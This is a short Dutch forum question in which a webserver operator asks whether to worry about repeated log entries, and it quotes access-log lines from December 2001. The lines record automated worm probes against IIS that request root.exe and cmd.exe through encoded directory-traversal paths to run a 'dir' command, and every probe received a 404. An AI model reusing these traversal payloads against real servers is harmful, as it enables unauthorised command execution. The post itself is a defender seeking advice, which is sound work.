Ik heb in mijn logs van mijn webserver meerdere malen dergelijke regels staan:
Moet ik mij nou zorgen maken over de veiligheid van mijn server/netwerk?
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| xxx.xxx.xxx.xxx - - [23/Dec/2001:06:54:35 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 0 "" "" xxx.xxx.xxx.xxx - - [23/Dec/2001:06:54:35 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 0 "" "" xxx.xxx.xxx.xxx - - [23/Dec/2001:06:54:35 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" "" xxx.xxx.xxx.xxx - - [23/Dec/2001:06:54:36 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" "" xxx.xxx.xxx.xxx - - [23/Dec/2001:06:54:36 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" "" xxx.xxx.xxx.xxx - - [23/Dec/2001:06:54:36 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" "" xxx.xxx.xxx.xxx - - [23/Dec/2001:06:54:37 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" "" xxx.xxx.xxx.xxx - - [23/Dec/2001:06:54:37 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" "" xxx.xxx.xxx.xxx - - [23/Dec/2001:06:54:37 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" "" xxx.xxx.xxx.xxx - - [23/Dec/2001:06:54:38 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" "" xxx.xxx.xxx.xxx - - [23/Dec/2001:06:54:38 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" "" xxx.xxx.xxx.xxx - - [23/Dec/2001:06:54:38 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" "" xxx.xxx.xxx.xxx - - [23/Dec/2001:06:54:38 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" "" xxx.xxx.xxx.xxx - - [23/Dec/2001:06:54:39 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" "" xxx.xxx.xxx.xxx - - [23/Dec/2001:06:54:39 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" "" xxx.xxx.xxx.xxx - - [23/Dec/2001:06:54:40 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" |
Moet ik mij nou zorgen maken over de veiligheid van mijn server/netwerk?